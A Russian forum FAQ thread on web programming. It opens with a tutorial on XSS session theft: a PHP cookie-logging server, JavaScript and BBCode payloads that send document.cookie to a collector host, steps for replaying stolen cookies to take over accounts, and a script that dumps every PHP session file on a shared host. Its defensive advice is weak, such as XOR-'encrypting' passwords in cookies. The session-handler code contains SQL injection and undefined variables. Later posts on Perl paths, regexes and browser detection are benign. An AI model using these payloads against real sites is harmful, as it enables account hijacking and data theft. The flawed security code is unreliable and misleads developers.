
        Цель такой атаки - захватить данные чужой сессии, чтобы затем войти на сайт под чужим аккаунтом. Какая от этого выгода? Зависит от ситуации. Минимум - возможность поглумится над добросовестными посетителями. Максимум - возможность украсть конфиденциальную информацию или поуправлять, скажем, форумом.

        Код, необходимый для такой атаки обычно состоит из двух частей - клиентской и серверной. Последняя представляет собой скрипт, расположенный на сайте злоумышленника, принимающий и сохраняющий данные, полученные от клиентского кода, в лог-файле для последующего просмотра. Приведу пример такого скрипта на PHP.

        Листинг 3.1.1, PHP:
        ExpandedWrap disabled
          <?php
          define('LOG_FILE', 'tmp/log.txt'); // Лог-файл.
          //Он должен быть доступен для записи (chmod 777 tmp).
           
          // Сохраняет плюшку в лог-файле
          function save_cookie($text)
          {
                  if(!file_exists(LOG_FILE)) touch(LOG_FILE);
                  $fp = fopen(LOG_FILE, 'a');
                  fputs($fp, "--------------------- [ COOKIE ] ---------------------\r\n");
                  fputs($fp, $text."\r\n");
                  fputs($fp, "--------------------- [ /COOKIE ] --------------------\r\n");
                  fclose($fp);
          }
           
          // Показывает все плюшки
          function view_cookies()
          {
                  if(!file_exists(LOG_FILE)) touch(LOG_FILE);
                  $fp = fopen(LOG_FILE, 'r');
                  echo "<pre>\r\n";
                  while(!feof($fp))
                  {
                          $line = fgets($fp);
                          echo $line;
                  }
                  echo "</pre>\r\n";
                  fclose($fp);
          }
           
          // Очищает лог
          function clean_log()
          {
                  if(file_exists(LOG_FILE)) unlink(LOG_FILE);
                  echo 'Файл очищен.';
          }
           
          // Тело
          $act = $_GET['act'];
          switch($act)
          {
                  case 'add':
                       $cook = $_GET['cook'];
                       save_cookie($cook);
                       break;
                  case 'show':
                       view_cookies();
                       break;
                  case 'clean':
                       clean_log();
                       break;
                  default: echo 'Интересно, что бы это могло быть?';
          }
          ?>


        Работает он просто. Чтобы передать ему текст плюшки, нужно использовать такой вот get-запрос:
        Цитата
        http://mysite/cookz.php?act=add&cook=our cookie body
        Еще он умеет: показывать содержимое лога
        Цитата
        http://mysite/cookz.php?act=show
        и очищать этот самый лог
        Цитата
        http://mysite/cookz.php?act=clean


        Для работы его достаточно закачать на сервер и выставить cmod 777 на папку tmp.

        Для того, чтобы передать скрипту нужную информацию, нам нужно каким-то образом внедрить в страницу-жертву код, который бы незаметно выполнял GET-запрос, передающий document.cookie. Для незаметности можно использовать окно, не отображающееся на экране.

        Листинг 3.1.2, JavaScript:
        ExpandedWrap disabled
          window.open('http://mysite/cookz.php?act=add&cook=' + document.cookie, 'XWindow', 'left=9999,top=9999')


        Конечно, в интернете полно таких скриптов, которые не фильтруют данные, и достаточно только использовать этот скрипт в обрамлении тэгом script в своем сообщении. Вы наверняка знаете, что искать на таких сайтах нечего, а ваш сайт фильтрует HTML-тэги. Но не все так банально, существует одна особенность броузеров, которая позволяет внедрять JavaScript даже через суб-тэги BBCode.

        Все, что каким-либо образом касается URL, может содержать JavaScript-код. Скажем, такой вещью, как
        ExpandedWrap disabled
          <a href="javascript:alert('Hi')">ссылка</a>
        никого не удивишь. Но как вам понравится такой расклад:
        ExpandedWrap disabled
          <img src="javascript:alert('Что, не ожидали, да?')" />

        Ясное дело, что на месте alert() может быть любой JavaScript-код. Если говорить о браузерах, то единственный, кто отказался выполнять javascript - Мозилла. Остальные работают как миленькие.
        Как это можно использовать? Многие форумы поддерживают субтэги
        ExpandedWrap disabled
          [IMG]путь_к_картинке[/IMG]

        Если вместо пути к картинке вставить наш JS:
        ExpandedWrap disabled
          [IMG]javascript:window.open('http://mysite/cookz.php?act=add&cook=' + document.cookie, 'XWindow', 'left=9999,top=9999')[/IMG]

        то выходной HTML-код будет выглядеть так:
        ExpandedWrap disabled
          <img src="javascript:window.open('http://mysite/cookz.php?act=add&cook=' + document.cookie, 'XWindow', 'left=9999,top=9999')" />

        Это отправит текущую плюшку (содержащую данные сессии) нашему скрипту, в то время как пользователь увидит то, что картинка просто не загрузилась (в Мозилле он вообще ничего не увидит).
        Думаете на одном img дело заканчивается? Нет, дальше включайте вашу фантазию. Как включать фантацию? Приведу пример: эта же особенность наблюдается и в CSS. В свойстве background-image тоже содержится URL, вместо которой можно вставить наш JavaScript:
        ExpandedWrap disabled
          <div style="background-image:url(javascript:alert('JavaScript работает!'))">Привет!</div>

        Этим багом можно воспользоваться для внедрения JS в постинг на популярном форуме "X-Forum". Если мы создадим такое сообщение:
        ExpandedWrap disabled
          [color=red" style=background-image:url(javascript:window.open('http://mysite/cookz.php?act=add&cook=' + document.cookie, 'XWindow', 'left=9999,top=9999'));]Hello, everybody![/color]

        то благополучно запустим нашу ловушку.

        Что делать с полученными данными? Чтобы их использовать, нам потребуется редактор плюшек. Можно воспользоваться программой под понятным названием "Cookie Editor". А можно редактировать плюшки, не выходя из любимой Оперы, т.к. в Оперу встроен свой редактор плюшек (Tools -> Cookies...). Открываем в редакторе свою плюшку (ту, которую браузер создал для нас) и заменяем данные на те, которые мы... э... позаимствовали. Сохраняем, заходим на сайт - вуаля! - аккаунт наш. Делаем по-быстрому все, что хотим, ведь как только пользователь захочет выйти из системы, мы эту сессию потеряем. Если пароль не изменим/узнаем, конечно.

        Что делать, чтобы защититься от Cross Site Scripting'а? Во-первых, нужно тщательно фильтровать входящие данные. О том, как это делать, я здесь говорить не буду. Уверен, вы и сами прекрасно справляетесь с этой задачей. Отмечу лишь то, что если вы используете cookies для авторизации, то неплохо использовать промежуточное шифрование, то есть хранить данные в плюшке в зашифрованном виде. Для этого можно пользоваться хотя бы алгоритмом XOR. Простейшая функция xor_crypt(), к примеру, на PHP, выглядит так (надеюсь, вы легко перенесете ее на нужный язык).

        Листинг 3.1.3, PHP:
        ExpandedWrap disabled
          function xor_crypt($str, $key)
          {
                  $result = '';
                  for($i = 0; $i < strlen($str); $i++) $result .= chr(ord($str[$i]) ^ $key);
                  return $result;
          }


        Заметьте, что ключ имеет тип byte (целое число от 0 до 255). Особенностью этого метода является то, что для того, чтобы получить изначальное значение нужно пройтись по шифрованному тем же ключом. К примеру, запишем в cookie логин и пароль, полученные от HTML-формы.

        Листинг 3.1.4, PHP:
        ExpandedWrap disabled
          <?php
          define('CRYPT_KEY', 128);
          setcookie('login', xor_crypt($_POST['login'], CRYPT_KEY), time() + 3600);
          setcookie('password', xor_crypt($_POST['password'], CRYPT_KEY), time() + 3600);
          header('Location: main.php');
          ?>


        В каждой странице для вызова, скажем, некой функции login(), нам нужно расшифровать эти данные.

        Листинг 3.1.5, PHP:
        ExpandedWrap disabled
          <?php
          define('CRYPT_KEY', 128);
          $usr = login(xor_crypt($_COOKIE['login'], CRYPT_KEY), xor_crypt($_COOKIE['password'], CRYPT_KEY));
          ?>


        3.2. Безопасность сессий PHP.

        Всем хорош стандартный механизм сессий в PHP - удобно, практично, атоматизированно. Одно плохо - безопасность.

        3.2.1. Извлекаем чужие сессии.

        Дело в том, что все сессии на вебсервере хранятся в одной папке, которая доступна для чтения/записи любому пользователю. Их можно запросто прочитать при помощи того же PHP скрипта. Этот скрипт прочитает все сессии, хранящиеся в данный момент на сервере и выведет их в более-менее удобочитаемой форме:

        Листинг 3.2.1.1, PHP:
        ExpandedWrap disabled
          <?php
          // Функция форматирования данных сессии, unserialize() не работает.
          function sess_format($data)
          {
                  $result = str_replace(';', '</dd><dt>', $data);
                  $result = str_replace('|', '</dt><dd>', $result);
                  $result = '<dt>'.$result.'</dt>';
                  return $result;
          }
           
          // Извлекам путь к папке сессий
          $sess_dir = ini_get('session.save_path');
          if(empty($sess_dir)) $sess_dir = $_ENV['TEMP'];
           
          // На ходу извлекаем все сессии
          $dp = opendir($sess_dir);
          chdir($sess_dir);
          while($file = readdir($dp))
          {
                  if(eregi('^sess_', $file))
                  {
                          // Извлекаем идентификатор
                          $sess_id = substr($file, strpos($file, '_')+1, strlen($file) - strpos($file, '_'));
                          // Открываем файл и читаем данные в строку
                          $fp = fopen($file, 'r');
                          $sess_data = '';
                          while(!feof($fp)) $sess_data .= fgetc($fp);
                          fclose($fp);
                          // Выводим результаты
                          echo "<b>---------------- $sess_id ----------------</b><br />\r\n";
                          echo "<dl>\r\n";
                          echo sess_format($sess_data);
                          echo "</dl>\r\n";
          echo "<b>-----------------------------------------
          ------------------------------------------</b><br /><br />\r\n";
                  }
           
          }
          closedir($dp);
          ?>


        Все логины, пароли и прочее тут же выползут наружу. Даже если данные хранятся в зашифрованном виде, то можно использовать хэши при помощи соответствующих форм (а для некоторых алгоритмов, например для md5, существуют дешифраторы) или использовать подмену Cookie. Единственная сложность - трудно выяснить, от какого же сайта данная сессия.

        Таким образом, ваши соседи по хостингу представляют потенциальную угрозу безопасности (впрочем, как и вы для них). Обычно даже при использовании виртуальных хостов сессии всех пользователей хранятся в одной папке (чаще всего "/tmp"). Даже если у каждого клиента имеется своя temprorary папка, то злоумышленник, зная путь к своей папке, легко вычислит полный путь до вашей.

        Что делать для защиты? Во-первых, шифровать важные данные (логин и пароль, например). Ни для кого не секрет, что большинство скриптов хранят пароли в сессиях открытым текстом! Ну а во-вторых, что всех лучше, можно заместить стандартный механизм сессий, благо в PHP есть такая возможность.

        3.2.2. Замещаем механизм сессий в PHP.

        Для замещения стандартного механизма сессий в PHP предусмотрена функция session_set_save_handler(). Базовый ее прототип выглядит так:
        ExpandedWrap disabled
          bool session_set_save_handler(string open, string close, string read, string write,
          string destroy, string gc)

        В качестве аргументов передаются имена функций-заместителей. В случае использования ОО класса нужно передавать массивы: array('ClassName', 'method_name').

        Наиболее удобным способ хранения данных сессий - использование БД. Во-первых, это защищает данные от посторонних глаз (если вы не раздаете пароль от своей базы налево и направо, конечно же). А во-вторых, это дает вам дополнительные возможности, такие как подсчет числа online пользователей или же журналирования сессий.

        В нашем примере для хранения данных мы будем использовать БД MySQL. Для работы нам понадобится простая таблица:

        Листинг 3.2.2.1, SQL:
        ExpandedWrap disabled
          CREATE TABLE sessions
          (
              session_id INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
              create_ts DATETIME DEFAULT 'NOW()' NOT NULL,
              session_key VARCHAR(255) NOT NULL,
              session_data TEXT NOT NULL
          );


        Использовать объектно-ориентированный класс смыла не много, ведь он будет всего-навсего контейнером для статических методов. Поэтому применим функционально-ориентированную методологию. Регистрационную информацию лучше указать в неком файле config.php. В нем же мы установим параметр 'session.gc_probability', который устанавливает вероятность запуска сборщика мусора (он удаляет устаревшие сессии) в процентах, а также 'session.gc_maxlifetime', который устанавливает срок годности сессий в период бездействия пользователя в секундах. На случай использования промежуточного шифрования мы также укажем ключ шифрования.

        Листинг 3.2.2.2, PHP:
        ExpandedWrap disabled
          <?php
          // Сервер
          define('DB_HOST', 'localhost');
          // Имя пользователя
          define('DB_USER', 'username');
          // Пароль
          define('DB_PASS', 'password');
          // Имя базы
          define('DB_NAME', 'test');
           
          // Ключ для шифрования MCRYPT
          define('MCRYPT_CRYPT_KEY', 'my super secret key');
           
          // Вероятность запуска сборщика мусора
          ini_set('session.gc_probability', 100);
          // Срок годности сессии при отсутствии активности пользователя
          ini_set('session.gc_maxlifetime', 1440); // 15 минут
          ?>


        Теперь переходим непосредственно к написанию функций.

        Функция "open" открывает источник данных сессий. PHP автоматически передает ей два параметра: $save_path и $session_name. В нашем случае мы игнорируем оба аргумента, а функция sess_open() будет создавать глобальное подключение к базе данных, если таковое еще не создано.

        Листинг 3.2.2.3, PHP:
        ExpandedWrap disabled
          function sess_open($save_path, $session_name)
          {
              global $db;
              if(!is_resource($db)) $db = mysql_connect(DB_HOST, DB_USER, DB_PASS);
              mysql_select_db(DB_NAME, $db);
              return true;
          }


        Функция "close" закрывает источник данных сессий и освобождает дополнительные ресурсы. У нас нет необходимости уничтожать какие-либо объекты или закрывать соединение с базой, поэтому мы оставляем ее почти пустой.

        Листинг 3.2.2.4, PHP:
        ExpandedWrap disabled
          function sess_close()
          {
              return true;
          }


        Функция "read" должна получить данные сессии из источника в виде строки. В качестве аргумента она принимает идентификатор сессии. Если вы хотите использовать промежуточную шифрацию данных сессии, то это именно то место, где нужно вставить вызов дешифрующей функции. В нашем примере закомментирован вызов соответствующей функции библиотеки MCrypt.

        Листинг 3.2.2.5, PHP:
        ExpandedWrap disabled
          function sess_read($id)
          {
              global $db;
              $data = mysql_result(mysql_query("SELECT session_data FROM sessions WHERE session_key = '$id'"));
              // $data = mcrypt_ecb(MCRYPT_TripleDES, MCRYPT_CRYPT_KEY, $data, MCRYPT_DECRYPT);
              return $data;
          }


        Функция записи должна создать новую сессию или же обновить данные текущей, если она существует. Ей передается идентификатор сессии и, непосредственно, данные. В случае создания новой сессии мы должны использовать INSERT запрос, а в случае обновления - UPDATE. Поэтому сначала мы проверим, существует ли сессия с таким ключем. Шифрующий вызов, как и в предыдущей функции, оставлю закомментированным.

        Листинг 3.2.2.6, PHP:
        ExpandedWrap disabled
          function sess_write($id, $data)
          {
              global $db;
              // $data = mcrypt_ecb(MCRYPT_TripleDES, MCRYPT_CRYPT_KEY, $data, MCRYPT_ENCRYPT);
              $num = mysql_result(mysql_query("SELECT COUNT(*) FROM sessions WHERE session_key = '$id'"));
              if($num == 1)
              {
            // Обновление существующей
            $sql = "UPDATE sessions SET session_data = '".mysql_real_escape_string($sess_data)."',
          create_ts = NOW() WHERE session_id = $session_id";
              }
              else
              {
            // Создание новой
            $sql = "INSERT INTO sessions (create_ts, valid, session_key, session_data) VALUES (NOW(),
          'yes', '". mysql_real_escape_string($id) ."', '". mysql_real_escape_string($sess_data) ."')";
              }
              mysql_query($sql);
              return true;
          }


        Для уничтожения сессии нам нужно удалить соответствующую строку таблицы. PHP передаст функции идентификатор той сессии, которую нужно удалить.

        Листинг 3.2.2.7, PHP:
        ExpandedWrap disabled
          function sess_destroy($id)
          {
              global $db;
              mysql_query("DELETE FROM sessions WHERE session_key = '$id'");
              return true;
          }


        В обязанности функции сборщика мусора входит удаление тех сессий, которыми никто не пользовался в течении установленного срока. Срок годности будет передан ей интерпретатором. Сам процесс мы осуществим всего-навсего одним SQL-запросом.

        Листинг 3.2.2.8, PHP:
        ExpandedWrap disabled
          function sess_gc($maxlifetime)
          {
              global $db;
              mysql_query("DELETE FROM sessions WHERE create_ts < DATE_ADD(now(), INTERVAL - $maxlifetime SECOND)");
              return true;
          }


        В заключение сообщаем интерпретатору, какие функции использовать для работы с сессиями.

        Листинг 3.2.2.9, PHP:
        ExpandedWrap disabled
          session_set_save_handler('sess_open', 'sess_close', 'sess_read', 'sess_write', 'sess_destroy', 'sess_gc')
              or die('Error: couldn\'t register session handler');


        Дополнительное приемущество нашего механизма заключается в том, что чтобы узнать число активных пользователей достаточно выполнить один SQL-запрос. Если вам нужны более точные данные, то нужно установить срок годности поменьше, чем стандартные 15 минут.

        Листинг 3.2.2.10, SQL:
        ExpandedWrap disabled
          SELECT COUNT(*) FROM sessions

        Прикреплённый файлПрикреплённый файлsecurity_files.zip (3.98 Кбайт, скачиваний: 731)
          Обзор редакторов

          Здесь - Тест редакторов
            Кроссплатформенное определение путей к папкам и файлам с помощью Perl

            ExpandedWrap disabled
              sub dirname {+&basename('dir', @_)}
              sub filename {+&basename('file', @_)}
              sub basename {
                  use Path::Class qw'dir file';
                  my($sub, $result)='Path::Class::'.shift;
                  my$func=sub {
                      if(!defined $_[0] || $_[0]=~/^(?:https?:|ftps?:|\\\\|\/\/)/io){+$_[0]}
                      elsif(defined($result=$sub->($_))){+$result->absolute}
                      else{+$_[0]}
                  };
                  return $func->(+shift) unless wantarray;
                  + map $func->($_), @_
              }

            Примеры:
            ExpandedWrap disabled
              print filename './db1.mdb.dsn';
              print filename 'http://forum.sources.ru./';
              print dirname '/home/etc';

            В Windows2000 вывод такой:
            ExpandedWrap disabled
              C:\home\www\home\dev\www\db1.mdb.dsn1
              http://forum.sources.ru./
              C:\home\etc\

            А, вообще-то, при вызове функций filename и dirname образуются объекты типа Path::Class::File и Path::Class::Dir с перегруженным оператором '""' (двойные кавычки).
            Подробнее об этих объектах в
            ExpandedWrap disabled
              perldoc Path::Class
            Сообщение отредактировано: Mastilior -
              Каким регулярным выражением полностью очистить текст от HTML-разметки?

              Автор: Ho Im

              Используйте следующее (Perl-style):

              ExpandedWrap disabled
                s/<(([^>]|\n)*)>//g
                Как избежать при отправке формы и последующего обновления страницы повторного POST'а со всеми вытекающими последствиями?

                Автор: Ho Im

                Самый простой и надежный способ — это разделить обработку формы и вывод результатов так, чтобы они выводились по разным запросам. В результате скрипт, обработавший форму каким-либо образом может передать управление на другой скрипт, отображающий результат обработки; при последующих F5 форма уже не будет отправляться, так как параметры будут другими.

                Передать управление можно либо через ответ HTTP 302 (заголовок Location: some/where), либо через HTML-документ, содержащий перенаправление по <meta http-equiv="refresh"...>

                Правило, которое нужно помнить — нельзя задерживать браузер на страничке, запрос к которой должен лишь однократно отправить данные на сервер (оплата онлайн, загрузка файла, отправка сообщения на форум).

                Подобная схема осуществлена на нашем форуме, в частности, при отправке сообщений.

                Это сообщение было перенесено сюда или объединено из темы "Как избежать повторной передачи POSTa"
                  Как определить браузер пользователя на сервере?

                  Автор: Serafim
                  Исходное сообщение: Определение браузера пользователя (сообщение #3015737)

                  ExpandedWrap disabled
                    /*
                    * @package     userlib
                    * @version     1.3.1 stable
                    * @autor       Serafim
                    * @info     Библиотека определения браузера и операционной системы клиента
                    */
                    class Browser{
                       private $_ua         = NULL;
                      
                       private $_searchEngine  = false;
                       private $_mobileBrowser = false;
                      
                       private $_name          = NULL;
                       private $_type          = NULL;
                      
                       private $_os         = NULL;
                       private $_os_build      = NULL;
                      
                       /**
                      * @param    string [$ua]         Строка формата HTTP_USER_AGENT
                      **/
                       public function __construct($ua = NULL){
                          $this -> _ua = ($ua === NULL) ? $_SERVER['HTTP_USER_AGENT'] : $ua;
                       }
                      
                       /**
                      * @return   string $ua           Возвращает строку формата HTTP_USER_AGENT
                      **/
                       public function getUserAgent(){
                          return $this -> _ua;
                       }
                      
                       /**
                      * @return   integer $type        Возвращает тип "браузера", 0 - неопознано, 1 - клиентский, 2- мобильный, 3 - поисковик
                      **/
                       public function getType(){
                          if( $this -> _type === NULL ){
                             $this -> getUserAgentName();
                            
                             if( $this -> _searchEngine ){
                                $this -> _type = 3;
                             }else{
                                $this -> getOS();
                                if( $this -> _mobileBrowser ){
                                   $this -> _type = 2;
                                }else{
                                   $this -> _type = 1;
                                }
                             }
                          }
                          
                          return $this -> _type;
                       }
                      
                      
                       /**
                      * @return   string $browser         Возвращает имя браузера клиента
                      **/
                       public function getUserAgentName(){
                          if( $this -> _name === NULL ){
                             $this -> _checkUA($this -> _ua);
                          }
                          
                          return $this -> _name;
                       }
                      
                       /**
                      * @return   string $browser         Возвращает имя ОС клиента
                      **/
                       public function getOS(){
                          if( $this -> _os === NULL ){
                             $this -> _checkOS($this -> _ua);
                          }
                          
                          return $this -> _os;
                       }
                      
                       /**
                      * @return   string $browser         Возвращает версию ОС клиента
                      **/
                       public function getOSBuild(){
                          if( $this -> _os_build === NULL ){
                             $this -> _checkOS($this -> _ua);
                          }
                          
                          return $this -> _os_build;
                       }
                      
                      
                      
                      
                      
                      
                       private function _checkOS($ua){
                          $prePattern = ' ([0-9\d\._]+)#is';
                          
                          $types = array(
                             'Android',
                             'Windows CE',
                             'SymbOS',      // Symbian
                             'SymbianOS',   // Symbian
                             'J2ME',        // Undefined Java
                             'Mac OS X',
                             'Windows NT',
                             'Linux'
                          );
                          
                          
                          $item = 0;
                          foreach($types as $os){
                             if( strstr($ua, $os) ){
                                $pattern = '#' . str_replace(' ', '\s', $os) . $prePattern;
                                
                                $this -> _os = str_replace(
                                   $types,
                                   array(
                                      'Android',
                                      'Windows Mobile',
                                      'Symbian',
                                      'Symbian',
                                      'Undefined [J2ME]',
                                      'Mac OS X',
                                      'Windows',
                                      'Linux',
                                   ),
                                   $os
                                );
                                preg_match_all($pattern, $ua, $matches);
                                $this -> _os_build = $matches[1][0] ? $matches[1][0] : NULL;
                                
                                if( $item < 5 ) $this -> _mobileBrowser = true;
                                
                                break;
                             }
                            
                            
                             $this -> _os =          NULL;
                             $this -> _os_build =    NULL;
                             $item++;
                          }
                       }
                      
                      
                      
                       private function _checkUA($ua){
                          if(
                             strstr($ua, 'Googlebot') ||
                             strstr($ua, 'Mediapartners-Google') ||
                             strstr($ua, 'Google Search Appliance')
                          ){
                             $this -> _searchEngine  = true;
                             $this -> _name    = 'Google';
                          }elseif(
                             strstr($ua, 'Yandex') ||
                             strstr($ua, 'YaDirectBot')
                          ){
                             $this -> _searchEngine  = true;
                             $this -> _name    = 'Yandex';
                          }elseif(
                             strstr($ua, 'Yahoo!') ||
                             strstr($ua, 'YahooFeedSeeker')
                          ){
                             $this -> _searchEngine  = true;
                             $this -> _name    = 'Yahoo!';
                          }elseif( strstr($ua, 'msnbot') ){
                             $this -> _searchEngine  = true;
                             $this -> _name    = 'MSN';
                          }elseif( strstr($ua, 'Mail.Ru') ){
                             $this -> _searchEngine  = true;
                             $this -> _name    = 'Mail.Ru';
                          }elseif( strstr($ua, 'StackRambler') ){
                             $this -> _searchEngine  = true;
                             $this -> _name    = 'Rambler';
                          }elseif(
                             strstr($ua, 'W3C_Validator') ||
                             strstr($ua, 'W3C_CSS_Validator_JFouffa')
                          ){
                             $this -> _searchEngine  = true;
                             $this -> _name    = 'W3C Validator';
                          }elseif( strstr($ua, 'Baiduspider') ){
                             $this -> _searchEngine  = true;
                             $this -> _name    = 'Baidu';
                          }elseif( strstr($ua, 'ia_archiver') ){
                             $this -> _searchEngine  = true;
                             $this -> _name    = 'Alexa';
                          }elseif( strstr($ua, 'curl') ){
                             $this -> _searchEngine  = true;
                             $this -> _name    = 'libCURL';
                            
                            
                          }elseif( strstr($ua, 'Chrome') ){
                             $this -> _name    = 'Chrome';
                          }elseif(
                             strstr($ua, 'Opera') &&
                             !(
                                strstr($ua, 'Mini') ||
                                strstr($ua, 'Mobi')
                             )
                          ){
                             $this -> _name    = 'Opera';
                          }elseif(
                             strstr($ua, 'Opera') &&
                             strstr($ua, 'Mini')
                          ){
                             $this -> _name    = 'Opera Mini';
                          }elseif(
                             strstr($ua, 'Opera') &&
                             strstr($ua, 'Mobi')
                          ){
                             $this -> _name    = 'Opera Mobile';
                          }elseif( strstr($ua, 'Firefox') ){
                             $this -> _name    = 'Firefox';
                          }elseif( strstr($ua, 'Android') ){
                             $this -> _name    = 'Android';
                          }elseif( strstr($ua, 'Avant') ){
                             $this -> _name    = 'Avant';
                          }elseif( strstr($ua, 'Epiphany') ){
                             $this -> _name    = 'Epiphany';
                          }elseif( strstr($ua, 'Flock') ){
                             $this -> _name    = 'Flock';
                          }elseif( strstr($ua, 'K-Meleon') ){
                             $this -> _name    = 'K-Meleon';
                          }elseif( strstr($ua, 'Konqueror') ){
                             $this -> _name    = 'Konqueror';
                          }elseif( strstr($ua, 'PLAYSTATION') ){
                             $this -> _name    = 'PlayStation 3';
                          }elseif( strstr($ua, 'PSP') ){
                             $this -> _name    = 'PlayStation Portable';
                          }elseif( strstr($ua, 'Safari') ){
                             $this -> _name    = 'Safari';
                          }elseif( strstr($ua, 'SeaMonkey') ){
                             $this -> _name    = 'SeaMonkey';
                          }elseif( strstr($ua, 'MSIE') ){
                             $this -> _name    = 'Internet Explorer';
                          }else{
                             $this -> _searchEngine  = false;
                             $this -> _name          = '[undefined] ' . $ua;
                          }
                       }
                    }
                  Сообщение отредактировано: fatalist -
                  0 пользователей читают эту тему (0 гостей и 0 скрытых пользователей)
                  0 пользователей:
                  Закрыто negram 03-12-2010:



                  Рейтинг@Mail.ru
                  [ Script execution time: 0,1150 ]   [ 16 queries used ]   [ Generated: 28.03.24, 23:40 GMT ]